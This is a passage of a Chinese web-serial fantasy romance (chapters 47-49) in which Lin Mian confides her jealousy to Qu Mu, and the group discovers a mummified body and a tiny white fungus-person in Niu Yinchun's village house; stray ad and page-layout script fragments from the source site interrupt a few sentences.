“没关系嘛,你憋在心里多难受啊,跟我说说,说出来就会好多了。”瞿木还是第一次见林眠这么别扭的模样,以前她比谁都坦荡。 “我…” 林眠抬起眼,看着瞿木,又把视线挪开,轻声说:“我…不开心。” 瞿木歪着头,不开心?就这样?不应该是愤恨?愤恨自己的母亲丢下了自己? “奶奶从来没对我这么好过,更加不允许我碰她的书…可是…她,也就是我的妈妈就可以,还允许她在上面写字。” 林眠说这句话的时候,视线一直盯着地上的双脚,有些不安的动着。 以前她和奶奶生活在一起,村里人都说奶奶很凶,不爱和别人说话,她也以为奶奶就是这样,所以不允许自己做很多事情,也对自己板着脸,说话也很凶。 但是,她现在才知道,奶奶不是这样的,她很喜欢自己的女儿,也会和颜悦色,温柔的回应着。 只是,这些都不会给自己。 她一想到这个,就觉得心里难受极了。就像是心脏被人用手紧紧地握住了一样,让她有些喘不过气,又觉得难为情,自己不应该为这个事而感到… 嫉妒。 嫉妒是不对的。 瞿木愣住了,他以为林眠是为母亲抛弃自己而难受,但实际上,她对这个素未谋面的母亲没有任何感情,日常相处的是奶奶,又或许,她即使嘴上叫着奶奶,但奶奶在她的心目中,扮演着“妈妈”的角色。 而看着自己的妈妈和奶奶曾经的温馨时光,让她感受到了 () { $(''.inform'').remove(); $(''#content'').append('' 另一种情感,这份情感里不包含她。 “也许,奶奶是真的不喜欢我,妈妈也不喜欢我,但是她们不能把我丢掉,因为是犯法的。”林眠低声说着。 “不是!”瞿木打断林眠的话,不让她接着说。他看着林眠受伤的模样,不免让他想到日记里的内容,心底也跟着抽痛了起来。 “不管她们喜不喜欢你,还有别人喜欢你。” “就像村子里的祝奶奶,还有那个…牛饮春。” 瞿木虽然不是很愿意说起牛饮春,但他作为一个男人,能看得出来,牛饮春肯定喜欢林眠。 “还有,我也很喜欢你。” 瞿木说这句话的时候,觉得自己多少有点夹带私货了。也不知道是灶火烧的太旺还是什么的,他感觉耳朵都被烤的热乎乎的。 “秦宁他们也很喜欢你。”瞿木再干巴巴的补上一句。 “是吗?”林眠不确定地问,抬起头看着瞿木,“你不怪我吗?奶奶说谁和我在一起谁就会倒霉,因为我,你才遇到这些事情。” “谁说的?遇不到你,我早就死了。”瞿木赶紧说,他一直都很感恩林眠的出现,也从来没有过责怪她的想法。 林眠看着瞿木,随后垂下头,往灶里塞了几根木柴。 “她们都是过去的了,你现在也可以拥有新的家人,拥有新的生活。”瞿木轻声说,“没必要为她们难过。” 在瞿木的眼里,林眠奶奶简直就是坏极了,即使林眠和正常人不太一样,她也不能这么对待一个小孩子。 “我不是难过。”林眠猛地抬起头来对瞿木说,“我这是嫉妒。” “我嫉妒妈妈。” 瞿木张了张嘴,他虽不能感同身受,但也能明白林眠的意思,他情不自禁地上前抱住林眠。 林眠突然被抱住,愣了一下,她没有挣扎,反应过来后轻轻地靠在瞿木的肩上。她没有特别难过,只是嫉妒在她的心里生根发芽,她恐惧这样的情绪。 “没事的,我也经常嫉妒别人,你看,我就经常嫉妒你。”瞿木拍了拍林眠的背,说。 “你看你那么厉害,什么也不怕,还能操控我,我每天都可嫉妒你了。”瞿木说着,突然想到了什么,“你好久没操控我了,你想让我做点什么?我绝对不反抗。” 说完,瞿木又觉得这话怪怪的,搞的自己好像很M一样。呸,林眠肯定不知道这些。 “你不喜欢。”林眠轻声说。 瞿木瞬间感觉心底又柔软了一些。看,林眠对自己还是很好的。 “我回来了,还买了肉,今晚我们炖肉吃。”柳寂白提着一袋肉,推开厨房的后门,朝着里面喊。 伴随着门“咯吱”一声的被推开,她话音刚落,就看到瞿木和林眠两个人抱在一起,她正好和林眠对视上了。 “啊…打扰了!”柳寂白连忙往后退,看到自己手上提的肉,又连忙把肉放到一旁的架子上,再退出去,还不忘把门关上,再朝着里面喊:“今晚可以晚一点吃饭,我不饿。” 瞿木瞬间脸更加红了。 林眠松开瞿木,无辜地眨了眨眼说:“今晚有肉吃了。” “嗯。”瞿木躲开林眠的视线,为了缓解尴尬,他往灶里加了几根木柴。 林眠已经恢复过来了,她起身去把肉拿过来,又去拿些蔬菜,准备去炖肉。 47. 怨妇 柳寂白离开了厨房,走到客厅处没发现秦宁的身影,就知道他肯定在阁楼上,便爬上去,凑到正在翻阅书籍的秦宁身旁,低声说:“你猜我刚刚看到了什么?” “什么?”秦宁放下书,认真地看向柳寂白,难道是发现了什么线索? 柳寂白勾着脖子,看了看下面,憋着笑,轻声说:“刚刚我去厨房,发现瞿木和林眠…抱在一起!” 她说完,期待地看着秦宁。 秦宁皱了下眉,良久后才开口:“偷窥是不正当行为。” “传播偷窥的内容,某种程度上,你是侵犯他人隐私了。” 秦宁说完,拿起书籍,接着看,没有抬头理会柳寂白。 柳寂白顿时不知道是该气该笑,她忍不住指着秦宁说:“就你们秦家才能培养出你这么个老古董来。” “受不了一点!” 柳寂白说完,噌噌地下了阁楼,在大厅处躺了下来,躺了一分钟,她心里还是气,气的她想找个发泄口,想再爬上阁楼,对着秦宁骂一顿才行。 但她还是忍住了,因为这是林眠家。 林眠和瞿木在厨房里忙活,一回生二回熟,瞿木已经能熟练掌握这些烹饪工具了,并且给林眠打下手。 他心还在扑通扑通地跳着,回味着刚刚抱着林眠的时候,明明之前他也抱过不少次,还背过林眠。 但这次就是不一样。 不知道林眠怎么想的?瞿木偷偷瞄一眼林眠,又快速的收回视线。不过…现在的情况是,他根本没法离开林眠。 虽然他一点都不介意现在的情况,还有点沾沾自喜,可以名正言顺的粘着林眠,但是…… 万一,林眠不喜欢自己… 万一她以后有喜欢的人… 怎么办?自己还必须得在她的十米范围内,要是看着她和她喜欢的人在一起,还不如一刀杀了自己来得快! 瞿木都能想到自己怨妇的模样。一想到这儿,他就感觉心脏难受,他已经在脑海里上演起虐恋情深了。 “瞿木,不要再添柴了,锅都烧干了。”林眠见瞿木一个劲地往灶里添柴火,锅的边缘处都冒白烟了,她赶紧上前把刚放进去的柴拿出来,再灭掉。 瞿木回过神来,看着灶里的火势,吓得他往后退了几步。 一顿操作下来,他们两个把晚饭做好,已经天黑了。 餐桌上,秦宁面不改色,端正地坐着,向林眠道了谢,便开始夹菜吃饭。 瞿木因为下午被柳寂白撞见,此刻心里还有点虚,他那个拥抱…其实也没有别的意图,就是安慰安慰林眠… 柳寂白不会多想吧?林眠会怎么想? 唉,这些日子下来,他都被林眠整的不自信了。他以前多么自信的一个人啊。 柳寂白还在为秦宁下午的话而生气,正板着一张脸,眼神犀利的能杀人。 林眠心里那股劲儿已经过去了,她现在满心只有盆里的肉,毕竟在盖山村,想要吃上肉,只有逢年过节的时候。 一顿饭下来,没一个人说话。 到了晚上,林眠就忙着去烧水给大家洗澡。瞿木也不能让林眠一个人忙活,赶紧去帮忙,去水井处提水。 来来回回几趟,他累的不行,扶着腰说:“这里不能通自来水吗?” 林眠正将热水葱锅里舀出来,听到瞿木的话,抬头对他说:“之前镇上的人也来问过,但是自来水要钱,而且井水也很方便嘛。” 瞿木叹了口气,井水好不好他不知道,他只知道每天这么打水,他的腰迟早要废了。而且林眠话里话外,摆明了就是没钱交水费。 林神婆好歹也是整个镇上赫赫有名的神婆,看那些记事录,也都是有真本事的,怎么还过的这么贫困潦倒? 瞿木有一搭没一搭的想着,手上也没停止干活,这打水提水的事,他总不能让林眠去干,秦宁一吃完饭,就泡在书堆里,干活是指望不上了。 都弄好后,瞿木也享受到了第一锅热水,他洗了个热腾腾的热水澡,出来的时候,浑身都舒服了。 今天晚上挑水的痛苦,已经浑然抛之脑后了。 更令他没想到的是,林眠家里要啥没啥,但是有个大浴桶!泡上去的时候,人生都圆满了。 林眠看着瞿木从澡房出来,脸被热水蒸的红彤彤的,他应该泡的很舒服吧?林眠这么想着,就进去把澡房清扫了一遍。 等到大家都洗完澡了,林眠最后一个去洗澡。 洗完澡后,她趴在房间的窗户上,看着窗外的月亮,这个时候能让人完全的放空。她心里的嫉妒,仿佛完全消失了,也不为此而感到难过。 她感觉到了新的力量涌进她的心里,但那是什么样的力量?她也说不清,只觉得现在很舒服。 瞿木本来困意十足,但今天月亮格外的亮,连房间里都被照的发亮,他忍不住走到窗边,打开窗户,感受着秋季带有寒意的风吹在皮肤上,有些刺人。 冷意让他下意识地抓了抓手臂,但又舍不得这皎洁的月光。 “瞿木,瞿木。”林眠原本看着月亮,突然听到旁边传来“咯吱”的声音,稍微踮起脚尖,将身子往前探探,就看到瞿木站在窗边。 瞿木听到林眠的声音,侧头探身,果然看到了林眠。 “你也出来看月亮啊,今天是16,月亮好圆啊。”林眠笑着对瞿木说。 “嗯,太圆了。”瞿木回应着林眠,也探出头去看林眠,说:“你穿的太少了,外面冷。” 瞿木眼尖,他注意到林眠的手臂没有衣物,猜她应该穿的短袖,这大晚上的,还是有些冷。 “不会,我从来没有生病过。”林眠回答,她将双手手肘撑在窗户上,用手托着下巴,说:“感冒和发烧,是什么样的?” 她有些好奇,自己除了受到皮外伤会疼,也会和正常人一样,但像感冒什么的,这些常见的病她倒是从来没有得过。 瞿木听着,笑着说:“你这是凡尔赛,不会感冒发烧多好啊。我小时候发烧,都是要打针,那个针头戳进血管里,看着就可怕。” “我每次都不愿意打针,都得被护士压着才行。” 林眠今晚心情很好,听到瞿木的话,忍不住笑了,她突然发现,这应该也能算是自己的优点吧? “瞿木,幸好是你,如果是别人,我肯定不愿意待在他的身边。”林眠说,她去北城,遇到瞿木是让她感到最开心的事情。 “为什么?”瞿木心突然扑通扑通,上下乱蹿。 大约过了一分钟,林眠的声音才传来。 “因为你有钱。” 瞿木:……难道他最大的魅力就是有一个好的家世吗?行吧,这也是算个极大的优势,至少那个牛饮春肯定没自己有钱。 瞿木想到这里,顿时又自信满满。自己天天在林眠身边,高低也能近水楼台先得月吧? “那是,等离开盖山村,我带你体验一下什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么叫做纸醉金迷的生活。”瞿木语气都高昂了几分,他现在要发挥一下纨绔子弟的优势。 林眠听了,猛点头,虽然瞿木也看不见。 她喜欢山外面的生活。 “快去睡觉吧,明天还有事要做。”瞿木催促着林眠去睡觉,明天也不知道秦宁翻书翻出什么结果,牛饮春那边还要去看看,多少也有些不对劲。 “好,你也快些睡觉。”林眠仰起头,看了眼月亮,说完就将窗户关上去睡觉了。 瞿木刚张开嘴,想说“晚安”两个字,就听到“咯吱”一声的关窗声。他只好轻声说了声“晚安”,也将窗户关上去睡觉。 一夜好眠。 林眠照例起的很早,天边微微泛白,她就自然的醒了。在北城的时候,她也学会了熬夜,晚睡晚起,但一到盖山村,她每次都会在这个点的时候醒来。 她收拾了一下,从床上起来,看着屋内静悄悄的,就准备去厨房里先把早饭准备好。 “哒哒” 阁楼上传来响动,林眠抬头看去,正好和探出个头的秦宁对视上。 “秦大师,你一夜没睡吗?”林眠问,现在才凌晨六点不到,秦宁看样子像是一晚上都待在阁楼上。 “是的,不打紧,我不困。”秦宁说着,抱着一摞书从阁楼上下来,再放到桌子上,准备抄录下重要的部分。 林眠看了眼那摞书,也没多问,就去院子里干活了。 家里人多,柴火也用的极快,柴房里所剩的柴已经不多了。 林眠先将米饭给蒸上,再准备去附近捡点干柴回来,顺便看看有没有蘑菇什么的捡些回来。 牛饮春的家是村子里离林眠家最近的。 林眠捡柴火捡着捡着,就路过阿牛哥的家,她想起昨天秦宁他们说的,第一次对阿牛哥家产生了兴趣。 她踮起脚尖,透过老旧的玻璃窗,试图看清楚里面的情况,阿牛哥家里正好处于背光面,即使有扇窗户,一眼看去,依旧是黑乎乎一片,什么也看不清楚。 牛奶奶在哪?林眠勾着脖子,往里面又看了看。 “你在干嘛?” 牛饮春突然出现,看着林眠在自己家窗户前扒拉着。 林眠身形一顿,很快转过身来,对牛饮春说:“阿牛哥,你不在家啊?我还想着找你呢。” “你找我敲门就好,趴在窗户上容易受伤。”牛饮春笑着说,窗户上有很多生锈的铁丝,要是被划到了,就不是小事了。 林眠眼珠子转了一下,从身后拿出一颗蘑菇递给阿牛哥,说:“阿牛哥,我决定了,我还是想去城里。” 牛饮春垂着眼,接过这颗蘑菇。 “你以后可以来找我玩。”林眠说完,就接着去捡柴火了,她再捡一些就得回去了,锅里的米饭应该蒸的差不多了。 “我来帮你。”牛饮春回过神来,走上前帮林眠捡些柴。 瞿木从床上惊醒,他睁开眼看着窗外灰蒙蒙一片,不由得由手遮住了光,嘟囔着说:“这么快天就亮了。” “不对,林眠不在。”瞿木猛地从床上坐起,他在刚刚进入噩梦的时候醒来了,林眠离开自己超过10米了。 瞿木打开手机看了眼,才六点。他从床上起来,收拾了一下,走到客厅处张望,只看到秦宁在那里,拿着笔不知道在写些什么。 “林眠去哪了?” “不知道,应该就在附近。”秦宁头也没抬的回答。 48. 死去的尸体 瞿木在家里找了一圈,果然没看到林眠的身影,他走到院子外面,朝着远处眺望,小小村庄里的房子被笼罩在清晨的烟雾中。 “瞿木!”林眠挎着篮子,看到瞿木在门口,高兴地喊他。 瞿木听到声音,循着声音的方向看去,林眠和牛饮春一起,朝着这边走来。牛饮春身上还背着一捆柴。 “我早上出门了,你睡得还好吗?”林眠也是看到瞿木的时候,才想起,瞿木睡觉的时候,自己不能离的太远。 “还行,还没死。”瞿木回答。 林眠眨眨眼,怎么感觉瞿木有起床气了? 牛饮春没说话,而是将木柴背到柴房后,才出来说:“好了,我先回去了,有什么需要帮忙的,来找我就行。” 瞿木抿着唇,不是很想搭理牛饮春。 “好,谢谢阿牛哥。”林眠和牛饮春道谢后,牛饮春也就离开了。 林眠没注意到瞿木的别扭,朝厨房走去,说:“我蒸的米饭应该熟了。” 很快,柳寂白也醒了。大家聚在一起吃早饭。 “今天下午,我们回北城。”秦宁突然开口说。 大家都放下碗筷,齐刷刷看向秦宁。 秦宁解释:“我昨晚查了一晚上的资料,也翻到了一些。菌丝现在在林眠身上,盖山剩余的线索也基本都在这些书籍中。” “林小姐,这些书籍,我可以都带走吗?”秦宁说着,便问林眠,并保证说:“我没有想要占为己有,就是这些书籍放在这儿,长时间没人打理,很容易损坏,里面还有些我没看完,想要带回去再研究一二。” “等我研究完,都会奉还。” 林眠听着,心里有一点点犹豫,因为这是奶奶的,她也不知道自己有没有资格决定这些书籍的去处。 “你家就你一个人,这些东西你有处置权。”瞿木在旁边说,他猜出林眠心里的想法了。现在林家也就林眠一个人,这些东西自然都是她的。 林眠看向瞿木,再回过头,对秦宁说:“好。” “谢谢。” “你在书里面发现什么线索了?”柳寂白好奇地问。 秦宁瞥了眼柳寂白,见大家都很好奇,也趁着这个时间和他们说一下:“祝奶奶说的故事,不是完全编的,而且保存性很高。” “很久很久以前的盖山村民,也许真的看到过白色小人和银色大树,从而流传了下来。” “那你们去盖山的时候,也看到了?”瞿木问。 秦宁摇摇头,“银色大树和白色小人早就不在盖山了。” “一个变成了,”秦宁指向瞿木的胸口处,“银木。而另一个,则是菌丝所说的菌人。” “我在这些书籍里找到了一些记载,关于菌人的记载。” 秦宁把那本书拿出来,翻到那一页,说:“古有菌人,栖于银色树上。而菌人则是菌丝寄生的对象,换句话说,每个菌人都曾经是人,因机缘巧合之下,被菌丝寄生,不加以控制,就会变成所谓的白色小人,也就是菌人。” 瞿木听着,下意识咽了口口水,说:“那…如果当初林眠不在我身边,我不会变成蘑菇,而是变成菌人?” “对,这是菌人的来源,不过这里记载的菌人,上面写着大约只有拇指大小,以啃食菌丝而活。”秦宁指向书中一处给他们看,“记载的不多,就这么一句话。” 秦宁查到这些资料的时候,也很惊奇。更令他惊讶的是,菌丝、银树、菌人,这三者应该是个十分庞大的关系,但他阅读过各大家族的文库和记载,竟然只有银木被记载在册,且还记载的不明不白。 “还真是。”柳寂白看着书上的记载,也忍不住说:“这盖山村的人还真会保密,一点都没流传到外面。” “这么说,银木就是银树的一部分,那其他部分呢?我们所知道的银木,就只有瞿木身上那块,且银木邪性还跑掉了。” 瞿木忍不住坐的离林眠更近一点。 林眠看向瞿木,问他:“你怎么了?” “我不想变成男版拇指姑娘。”瞿木回答。 拇指姑娘?是什么?林眠不认识,但瞿木的意思她还是明白,便拍了拍瞿木的手背,让他安心。 “或许,也只有这一块了。”秦宁说着,视线在瞿木的胸口处打转,“之前菌丝说,银木是容器,菌人是养树人。” 瞿木被他们盯得受不了,用手捂住自己的胸口说:“这块银木是死是活都不知道,而且我们去哪里找到菌人?” “盖山上?” 秦宁收回视线,“菌人的食物是菌丝,啃噬菌丝才能活,但菌丝现在在林小姐体内,它们没有食物来源,按照记录,是活不了太久。” 这是他的推测,银木出现在记载中,已有快一千年的历史,菌人生活在银树上,也就说明那会儿开始,菌人也被迫离开了。 但菌丝一直在盖山,三十年前还在林眠妈妈的身上。 “菌人这玩意,不是随时可以制造吗?”柳寂白说,“按照瞿木的情况来看,几个月的时候,就能把一个人变成菌人。” 毕竟没有人能顶住几个月不睡觉。 “你是活阎王吧?”瞿木忍不住说,“那可是人,活生生的人,你让他变成拇指大小的菌人?” 林眠抓了抓手臂上的痒,她有个疑问。 “林小姐,请说。”秦宁见林眠欲言又止,便让她说。 “瞿木是…我给他做人工呼吸的时候,才被菌丝寄生了,我之前和村里、镇上的伙伴都接触过,他们都没有变成菌人。”林眠说。 “如果要制造菌人,必须得吻他们才行吗?” “不行!”瞿木第一个跳出来反映,都站起来了,但他一对上秦宁疑问的眼神,柳寂白调戏的眼神,他又坐下,解释说:“我们要有人权,哪个活生生的人愿意变成菌人啊? “而且,万一不行呢?又不是什么吻一下,就能够青蛙变王子,呸,人变菌人。” 秦宁收回视线,他也认同瞿木说的,用人是绝对不可行。 “我们先去牛家看看吧,或许会有什么新的发现。”秦宁说,这也是此次盖山行的最后一个任务了。 瞿木见他们都没纠结菌人的事,他才松了一口气。他真怕秦宁他们为了做实验,不择手段,林眠又是个不吭声的,说不定还愿意陪他们做实验。 “行,去吧。”柳寂白站起身,也该活动活动筋骨了。 林眠负责带路,出门的时候,她对秦宁说:“我今天早上去捡柴的时候,路过阿牛哥他家,屋子里看起来没什么东西。” “有东西还能让你看到?”瞿木反问。难怪她今天早上和牛饮春一起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回来。 林眠看了眼瞿木,没说话。 “我们就去看看,不是觉得阿牛有问题,而是觉得牛奶奶不太对劲。”秦宁解释说,他知道林眠和牛饮春是好朋友。 “嗯。”林眠点点头,她也没见过牛奶奶。 一行人到达牛家门口的时候,牛家的门已经锁上了。 “阿牛哥出去了。”林眠看到锁,直接说。 “这就更方便了,我们偷偷进去看看?”瞿木说,询问秦宁的意见。 柳寂白手上拿着蛇骨伞,有一下没一下的点着地,这把锁随便就能开了,但倘若屋子里真有一个残疾老奶奶,那未免有些太过分了。 秦宁也有顾虑,总归要考虑到老人家的心情。 “要不,我去看看?”林眠看他们一脸为难的样子,说。 说完,林眠闭上眼,用菌丝沿着门缝进去,并给秦宁他们转述:“屋子里很干净,有桌子、椅子,没什么异样。” 菌丝在屋子里慢慢蔓延开,房子的构建和村子里大多数的屋子大差不差。 “没看到人。”林眠说,“里面有三间房,我进去看看。” “这间是阿牛哥的。”林眠轻声说,她看到了阿牛哥的衣物。 瞿木在旁边听着,也有些好奇地往门缝里看看,看不太清楚。 “另一间房,里面很黑。”林眠接着说,“有一张床,被子有些鼓起。” 秦宁和柳寂白一听,那这间房应该就是牛奶奶住的,被子鼓起,是在睡觉吗? “啊!”林眠猛地睁开眼,有些惊恐地抬起头看向他们。 “怎么了?看到什么了?”瞿木紧张地问,也下意识拉住林眠,让她别害怕。 林眠皱着眉,咬着下唇,说:“床上躺着的是一具…干尸?但已经能看到白骨了。” “干尸?”柳寂白也跟着皱起了眉,“可是没闻到尸臭味啊?” “死了很久?”秦宁说,“这附近反而有些香味。” 瞿木愣了下,连忙离开大门,朝林眠那边靠近,低声说:“不是吧?这里面有死人啊?” 林眠点点头,说:“难道是牛奶奶的尸体,牛奶奶已经死了?” “说不好,毕竟按你说的,你从小在这里长大,都没见过牛奶奶,而且尸体已经白骨化了…应该死了很久。”秦宁说道。 “这人死了不应该下葬吗?”瞿木问,谁会把死人尸体放在家里啊?而且这可是他亲奶奶啊。 秦宁也不清楚牛饮春的想法,只得对林眠说:“林小姐,能否再去别的房间看看?这屋里不是有三间房吗?” “好。”林眠点头答应。 另一间房和那两间房间相隔比较远,菌丝钻进房间门缝,林眠看到的确是另一种场景。 “这根本就不像是房间。”林眠说。 “怎么?”柳寂白问,她恨不得自己也能看到里面的场景,现在只能站在外面干着急。 林眠突然又睁开眼,对着他们说:“它发现我了。” “谁?”秦宁问。 “白色小人。”林眠答。 瞿木愣,“还真有白色小人啊?” “哦吼,这简直就是天无绝人之路啊。”柳寂白挑眉说,她现在倒是觉得,这一切都像是被安排好的,不然未免也太凑巧了,一环套一环啊。 49. 菌人 林眠已经探查完了,并将自己看到的说了出来。 “里面都是树,是枯死的树,很潮湿,有一个白色小人在树上面,菌丝一进去,它就发现了,不过它不害怕菌丝,反而朝菌丝走了过来。” 秦宁大概了解,说:“看来牛饮春在饲养菌人。” “问题是,他没有菌丝,怎么饲养?”柳寂白问。 瞿木刚开始也有点疑惑,但一想到之前的事,他就恍然大悟了。 “怎么没有?林眠以前天天给他送蘑菇,那蘑菇是用菌丝做的。”瞿木说,他之前没多想,现在想来,牛饮春早就知道林眠体内的菌丝,还借口说是送蘑菇,实际上就是为了要菌丝。 “嗯?”林眠也有些后知后觉,她以前…也只以为阿牛哥喜欢吃蘑菇而已,山上也不是天天能采到蘑菇,她就…… 没想到是这么个用途。 瞿木恨铁不成钢地拍了下林眠的头,也就林眠这么没心眼了,哪个正经人天天要蘑菇啊? “现在怎么办?我们直接进去?把这个小菌人抓起来?”柳寂白问,刚好可以做做实验,怎么让菌人养银木。 瞿木是不想进去,这屋子里有个死人尸体,还有个人变成的菌人,想想他就感到一阵恶心和后怕。 “我们等阿牛哥吧。”林眠说,“阿牛哥不是坏人,我们等他回来,再问问他,他肯定会告诉我们的。” “那说不准,万一他居心不良、图谋不轨呢?”瞿木撇着嘴说。 柳寂白看着瞿木,从上到下打量着说:“我看居心不良的是另有其人吧?” 她也觉得这个阿牛人不错,看着挺老实一小伙,而且身上没浊气,说明是个作风优良的人。 “谁?”瞿木没什么底气地反问。 林眠表示听不懂,但她觉得阿牛哥是好人。 “我们等一下,就像林小姐说的,我也不觉得牛饮春是什么居心不良之人。”秦宁在旁边思考,从而说出自己的想法。 柳寂白耸耸肩,朝瞿木挑了挑眉,把瞿木气的哑口无言。 在门口等了大约十几分钟,牛饮春就背着一捆柴走了过来,他看到林眠他们的时候,心里大概猜到了什么,背着柴淡定地走过去。 “你们有事吗?”牛饮春走到门口处,从口袋里拿出钥匙,镇定地问他们。 “能和我们解释一下吗?”秦宁开门见山,“你屋子里的尸体、以及那只妖物。” 牛饮春看向秦宁,又看向林眠,没吭声。 林眠上前,耐不住性子地全问了:“阿牛哥,这是怎么回事?你跟我要蘑菇,就是为了…喂那个小人吗?” 牛饮春抿着唇,沉默了几秒才说:“要进去坐坐吗?” “还是换个地方?” 毕竟家里有死人尸体在。 “我…” 瞿木刚出声,就被秦宁打断了。 “进去无妨。”秦宁说道,带头走进屋内。 瞿木在门口磨蹭,看着他们都进去,他从小到大,最害怕这些东西了,有什么事不能去林眠家谈吗? “瞿木,你不进来吗?”林眠已经搬来了小凳子,还拍了拍自己旁边的这个位置,示意瞿木坐这里。 瞿木看着林眠疑惑的表情,为了不失英勇之姿,只能咬着牙走进去,坐到林眠的旁边。他一进来,就下意识的深呼吸一口气,嗅了嗅空气中的味道。 牛饮春站着给他们倒水,说:“家里没有茶,只有凉水。” 倒完水后,牛饮春才坐下。 “谢谢。”秦宁接过水杯,倒了一声谢。 还不等牛饮春说话,一个白色小人从房间里跑出来,小跑着,虽然看起来跑的挺卖力,但实在是太小了,正常人只需要走个几步,它却要跑一段。 “这…”瞿木看着,浑身难受,他一想到自己可能会变成这个小东西,就浑身起鸡皮疙瘩。 小人跑到桌腿底下,偏偏选中了瞿木的裤腿,沿着瞿木的裤腿爬了上来。 瞿木感觉到腿上有东西,浑身一僵,想要抬腿踢开,但被牛饮春按住了,并向他摇了摇头。 小人爬到了瞿木肩膀上,在顺着肩膀,爬到林眠的身上,才停了下来。 林眠一脸懵地低下头,看着自己肩膀上的小人,她伸出手,小人就爬到她的手上,最终停在掌心处。 这一停下,秦宁和柳寂白都凑上前来,看着林眠手掌心处的小人。 “还真是全身都是白的。”柳寂白说。 “脸部特征不明显,五官模糊,但有手脚。”秦宁说。 瞿木在旁边冷眼看着,说:“像素人。” 秦宁伸出手指,在小人面前晃了晃,还想伸出手去碰它,但被躲开了。他也只好作罢,坐直了身体,若有所思。 柳寂白观察了会,也坐正了,这和书籍中描述的大差不差,只是不知道这小人有什么作用,真的就养树? “它在舔我。”林眠突然开口,小人突然抱着自己的一只手指,舔了起来,弄的她的手痒痒的。 瞿木一听,眉头皱起,“猥琐!” 说着就想伸手把这猥琐小人从林眠手指上拿下来,但林眠不讨厌这小人,躲开了瞿木的魔爪。 “它饿了。”牛饮春开口。 瞿木停下了手,嘴角抽了抽,说:“饿了也不能舔人手指啊。” 特别是这小人曾经还是个人,说不定还是个几百年前的人,想想就浑身发麻。 林眠倒没有瞿木这么多想法,她用两只手指,把小人夹起来,仔细地打量着,还觉得有一些可爱。 “好了,阿牛,你和我们说说吧。”秦宁对牛饮春说。 牛饮春从林眠手上收回视线,说:“我无父无母,小时候从孤儿院里跑了出来,那是一个冬天,我以为自己会死在冬天里,但是我遇到了他。” “他是谁?”柳寂白问。 牛饮春梅回答这个问题,而是接着说:“那会儿我五岁,那个男人把我带到了盖山村,来到了地处偏僻的牛家。” “我来到的时候,牛奶奶已经死了,身上都是苍蝇和蛆,我感到害怕和恶心,直接吐了起来。那个男人却对我说,想要活下去就待在这儿。 “我想要活下去,所以我留了下来,在那之后,每隔一段时间,他都会送来钱和食物,日子就这么一天天的过去了,我也变成了真正的‘牛饮春’。之后,我遇到了它。” 牛饮春指向林眠手中的小人。 “我对菌人不感到害怕,它很饿,但是我不知道它能吃什么,那个人告诉我菌丝,而菌丝…”牛饮春抬起头,看向林眠,“只有在你身上。” “那天你送我一个蘑菇,我拿回家,就被菌人拿着吃掉了,我就意识到,这颗蘑菇就是菌丝。” “你这说的轻巧,即使是二十几年前,也没这么容易顶替一个人吧?而且这是村里,牛老太的小孩就没回来过?”瞿木问,他听着就觉得这个顶替很奇怪,这可行性很低嘛,除非… 牛饮春看向瞿木,说出他的想法,“除非牛家的人都死光了。” “确实死光了,牛家人好多年前就没和村里人联系过,户口也都迁走了,村里人都不知道他们的情况。牛奶奶性格孤僻,本身就不与村里人走动,再加上和她有过节的人不少…” “实际上,早在几年前,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就去村里报了死亡,拿到了死亡证明。” 秦宁大概懂了事情的来龙去脉,问他:“那个人是谁?” 牛饮春目光黯淡,摇摇头,说:“我不知道他是谁,他让我在这安心住下,在我长大后,他再也没有出现了。” 在他们谈话的时间,林眠已经学会如何逗这小菌人了,她的手指上长出细细长长的菌丝,菌人就会抓住菌丝,快速地进食。 又因为菌人体重极轻,林眠稍稍用力挥动菌丝,菌人就会跟着菌丝飘起来。 “它好可爱啊。”林眠忍不住说。 瞿木坐在林眠旁边,看着菌人在自己面前晃来晃去,旁边的林眠玩的不亦乐乎,根本一点都不在意现在的情况。 牛饮春看着林眠,眼神里晦暗不明,从小他就知道林眠不一样,但那会儿林眠总是藏着,不让别人发现,这是他第一次见林眠这么自然的展示能力。 “它本来就是属于你的。”牛饮春突然对林眠说。 林眠看向牛饮春,又看了看这个白色小菌人。 秦宁大概捋清楚了,看来至少在二十年前,这件事就有人在布局,但为了什么?就为了让他们找到这个菌人吗? 秦宁又问了牛饮春几个问题,都没有得到心中想要的答案,看牛饮春也确实不知道,就作罢了。 离开的时候,菌人吃饱喝足,已经赖在林眠身上了。 “阿牛哥,你要跟我们一起离开吗?”林眠走之前问,他们已经决定今天就离开盖山村,但阿牛哥现在一个人住在这里,也没有“牛奶奶”了。 牛饮春摇摇头,“我喜欢在这里,外面不适合我。” 这么多年,他都在待在小小盖山村,早已经习惯了。 “好吧。”林眠点点头,“我会回来看你的。” “好。”牛饮春笑笑。 告别完,大家伙又回到了林家,就开始收东西,准备离开盖山村了。 瞿木看着秦宁他们搬书,一摞摞的书往自己的车上搬,他看着自己的爱车,心都痛了,忍不住说:“早知道你们要这样,我干脆开个卡车来好了。” “卡车?卡车是什么车?”林眠抱着书,好奇地问瞿木。 瞿木抽了抽嘴角,摆摆手:“等回到北城,我给你买辆卡车,给你天天看。” “真的吗?”林眠一听,脸上都有了笑容,“瞿木,你真好。” 瞿木:…… “哟,瞿家大少爷要送人卡车啊?我能不能沾点光啊?我要求不高,超跑就行。”柳寂白抱着书路过的时候,听到瞿木和林眠在聊天,插上一句。 瞿木没吭声,他看着像冤大头吗? “怎么?给林眠送,不给我送,未免太偏心了吧?”柳寂白打趣瞿木打趣上瘾了,见他不吭声,满脸不情愿的样子,又补上一句。 林眠将书放进车上,好奇地看着瞿木,偏心? 瞿木受不了了,拍了拍袖子,喊:“秦宁,还有多少书没搬啊?” 说着,人就走进屋里帮忙去了。 “拿到卡车了,记得带我兜风。”柳寂白将手撑在林眠肩膀上,对她说。 林眠眨眨眼,她还没收到卡车呢。而且,她不会开车。 “不过,这小菌人还真是跟着你啊。”柳寂白看着林眠头顶上的菌人,自从看到林眠,这菌人就不愿意离开了。 “你说,它会说话吗?”柳寂白问。 林眠摇摇头,“我不知道。” “行吧。”柳寂白接着进屋搬书去了。 